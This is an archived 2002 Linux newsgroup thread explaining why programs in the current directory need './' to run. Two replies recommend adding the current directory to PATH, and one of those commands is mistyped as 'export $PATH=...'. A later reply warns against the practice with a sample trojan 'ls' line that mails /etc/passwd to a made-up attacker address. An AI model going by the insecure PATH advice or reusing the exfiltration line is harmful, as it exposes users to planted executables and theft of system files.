Home > Archive > alt.os.linux > June 2002 > This should be an easy question





You are viewing an archived Text-only version of the thread. To view this thread in it's original format and/or if you want to reply to this thread please [click here]

Author This should be an easy question
Tim

2002-06-25, 7:25 pm

OK first off as I've stated before I'm a newbie to linux.

My question has to deal with making C programs using g++. How come when
ever I make a program, example "Hello World", (being as I'm sure everybody
knows this one :-)) do I have to type ./Hello World to run it rather that
just being able to type Hello World. ?
Mark

2002-06-25, 7:25 pm

The ./ tells the shell that the binary is inside the current directory
and not in the regular path (/bin, /usr/local/bin,etc.)

On Tue, 25 Jun 2002 21:00:24 -0400, Tim wrote:

> OK first off as I've stated before I'm a newbie to linux.
>
> My question has to deal with making C programs using g++. How come when
> ever I make a program, example "Hello World", (being as I'm sure
> everybody knows this one :-)) do I have to type ./Hello World to run it
> rather that just being able to type Hello World. ?

Boulware5

2002-06-25, 7:40 pm

In your PATH environment variable, if you start it with a colon it will start with your CURRENT directory and you shouldn't have to type ./

Such as PATH=:/bin:/usr/bin:$HOME:/usr/local/bin
Markus Hagenbuchner

2002-06-26, 4:25 am

Tim,
../ is short for "current directory". Hence, executing programs with
../program ensures that you start program from your current directory. Using
../program is good practise because you know what you execute. Imagine what
happends if there are multiple programs with the same name located in
directories that are included in your search path. Which one to execute if
you just type the program name without path information?

By default, the search path (a list of directories in which to look at if you
type in a command or program name) does no include the current working
directory. In order to look at the current search path setting enter at the
command line prompt:

echo $PATH

to add the current working directory into the search path do this:

export $PATH=./:$PATH

Now, when you enter the name of a program/command, then your system will
first look in the current directory for the program and execute it if it can
find it there. If the program was not found there then the system will look
in the next directory listed in $PATH.

Also, familiarize yourself with the commands "which" and "whereis" using the
man command (e.g. man which).

And one last thing: To start Hello World, you'd have to type Hello\ World
(preceed every space with a \ so that the system knows that the space is part
of the string rather than separating two strings).

Hope this cleared things a bit

Markus


Tim wrote:

> OK first off as I've stated before I'm a newbie to linux.
>
> My question has to deal with making C programs using g++. How come when
> ever I make a program, example "Hello World", (being as I'm sure everybody
> knows this one :-)) do I have to type ./Hello World to run it rather that
> just being able to type Hello World. ?


Johan Lindquist

2002-06-26, 6:25 am

Wed, 26 Jun 2002 at 04:14 GMT, peering quizzically at his shoes,
Markus Hagenbuchner <markus@uow.edu.au> suddenly blurted:
> to add the current working directory into the search path do this:
>
> export $PATH=./:$PATH


And if you do this, you will also risk that someone has (unbeknownst
to you) put an executable in /tmp named "ls" that is actually a script
containing the line

'mail l33t_h4x0r@hacks-r-us.com < /etc/passwd && ls'

which you will execute when looking for that file you put there a few
days ago but can't remember the name of.

In short: /don't do that/.

> Also, familiarize yourself with the commands "which" and "whereis"
> using the man command (e.g. man which).


Good advice. Also do 'man find' and 'man locate' while you're at it.

hth.

--
Time flies like an arrow, fruit flies like a banana. Perth ---> *
1:25pm up 2 days, 1:00, 3 users, load average: 1.45, 1.60, 1.59
$ cat /dev/bollocks Registered Linux user #261729
e-enable holistic e-services
Sponsored Links





Free Braindumps | MCSE braindumps software forum

Copyright 2003 - 2008 examnotes.net